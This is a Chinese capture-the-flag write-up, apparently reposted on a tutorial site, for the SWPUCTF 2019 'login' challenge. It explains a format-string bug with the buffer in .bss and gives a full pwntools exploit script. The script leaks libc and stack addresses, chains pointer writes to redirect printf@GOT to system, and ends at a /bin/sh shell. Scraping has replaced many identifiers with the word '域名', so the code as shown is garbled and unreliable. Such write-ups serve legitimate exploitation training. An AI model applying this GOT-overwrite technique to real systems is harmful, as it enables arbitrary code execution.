飙血推荐
  • HTML教程
  • MySQL教程
  • JavaScript基础教程
  • php入门教程
  • JavaScript正则表达式运用
  • Excel函数教程
  • UEditor使用文档
  • AngularJS教程
  • ThinkPHP5.0教程

SWPUCTF_2019_login(格式字符串偏移bss段)

时间:2021-12-19  作者:zhuangzhouQAQ  

题目的例行检查我就不放了,将程序放入ida中

 

 很明显的值放入了bss段的格式字符串,所以我们动态调试一下程序

 可以看到ebp这个地方0xffd0dd17-->0xffd0dd38-->0xffd0dd48这个指针链接,而ebp这个的值是%6$p的偏移,所以我们可以通过修改%6这里的指针处往0xffd0dd48这里覆盖位printf_got表的位置

相关代码为

 可以看到我们成功的在a8也就是偏移为%14的这里写上了printf_got的地址(ebp指针不一样因为我重新打开的,不要介意)

然后再将%15的位置覆盖为printf_got+1的地址(说实话,我也不知道这步是为什么,)

相关代码为

 可以看到成功将%14和%15的偏移处修改为了printf@got的地址,然后我们可以将system的地址覆盖到这里,这样当我们输入/bin/sh的时候就可以拿到shell了

相关代码

 因为这里我们是一步完成的,所以我们需要再减去0x10的长度

 可以看到我们成功的将这里的指针覆盖为了system的地址

 完整exp如下

from pwn import *
import time

p = process(\'./pwn1\')
#p = remote(\'域名\',26202)
libc = ELF(\'./libc-域名-域名\')
域名lineafter(\'name:\',\'aa\')
域名lineafter(\'password:\',\'%15$p\')

域名until(\'0x\')
#10 14
__libc_start_main = int(域名until(\'\n\',drop=True),16)-0xf1
libc_base = __libc_start_main - 域名ols[\'__libc_start_main\']
print(\'libc_base-->\'+hex(libc_base))
system = libc_base + 域名[\'system\']
print(\'system-->\'+hex(system))

域名lineafter(\'Try again!\',\'%6$p\')
域名until(\'0x\')
strack_addr0 = int(域名until(\'\n\',drop=True),16)
print(\'strack_addr0-->\'+hex(strack_addr0))
#0xffda2994

域名lineafter(\'Try again!\',\'%10$p\')
域名until(\'0x\')
strack_addr1 = int(域名until(\'\n\',drop=True),16)
print(\'strack_addr1-->\'+hex(strack_addr1))
#0xffd2a9a4
#print_got 0x0804b014
cmd = \'b *0x08048575\n\'
#strack_addr1的值就是ebp第二的指针

#---------------将%14的偏移的地址处修改为print_got的地址---------- payload = \'%\'+str(0x14)+\'c\'+\'%10$hhn\' 域名lineafter(\'Try again!\n\',payload) #14 payload1 = \'%\'+str((strack_addr1 & 0xff)+1)+\'c\'+\'%6$hhn\' 域名lineafter(\'Try again!\n\',payload1) payload2 = \'%\'+str(0xb0)+\'c\'+\'%10$hhn\' 域名lineafter(\'Try again!\n\',payload2) #b0 payload3 = \'%\'+str((strack_addr1 & 0xff)+2)+\'c\'+\'%6$hhn\' 域名lineafter(\'Try again!\n\',payload3) payload4 = \'%\'+str(0x04)+\'c\'+\'%10$hhn\' 域名lineafter(\'Try again!\n\',payload4) #04 payload5 = \'%\'+str((strack_addr1 & 0xff)+3)+\'c\'+\'%6$hhn\' 域名lineafter(\'Try again!\n\',payload5) payload6 = \'%\'+str(0x08)+\'c\'+\'%10$hhn\' 域名lineafter(\'Try again!\n\',payload6) #08 #-------------------将%15的偏移处的地址覆盖为printf_got+1的地址------------------------------- strack_addr1 = strack_addr1 + 4 payload1 = \'%\'+str(strack_addr1 & 0xff)+\'c\'+\'%6$hhn\' 域名lineafter(\'Try again!\n\',payload1) payload2 = \'%\'+str(0x15)+\'c\'+\'%10$hhn\' 域名lineafter(\'Try again!\n\',payload2) #15 payload3 = \'%\'+str((strack_addr1 & 0xff)+1)+\'c\'+\'%6$hhn\' 域名lineafter(\'Try again!\n\',payload3) payload4 = \'%\'+str(0xb0)+\'c\'+\'%10$hhn\' 域名lineafter(\'Try again!\n\',payload4) #b0 payload5 = \'%\'+str((strack_addr1 & 0xff)+2)+\'c\'+\'%6$hhn\' 域名lineafter(\'Try again!\n\',payload5) payload6 = \'%\'+str(0x04)+\'c\'+\'%10$hhn\' 域名lineafter(\'Try again!\n\',payload6) #04 payload7 = \'%\'+str((strack_addr1 & 0xff)+3)+\'c\'+\'%6$hhn\' 域名lineafter(\'Try again!\n\',payload7) payload8 = \'%\'+str(0x08)+\'c\'+\'%10$hhn\' 域名lineafter(\'Try again!\n\',payload8) #08 #------------------修改为system的地址---------------------------- payload = \'%\'+str(system & 0xff)+\'c\'+\'%14$hhn\' payload += \'%\'+str(((system & 0xffff00)>>8)-0x10)+\'c\'+\'%15$hn\' print(hex(((system & 0xffff00)>>8)-0x10)) 域名lineafter(\'Try again!\n\',payload) 域名p(0.5) 域名line(\'/bin/sh\') 域名ch(p,cmd) 域名ractive()

题后修补:注意第一次修改%6的偏移是为了修改指针指向的地址然后修改%10的值是修改地址指针上面的值

结束

标签:编程
湘ICP备14001474号-3  投诉建议:234161800@qq.com   部分内容来源于网络,如有侵权,请联系删除。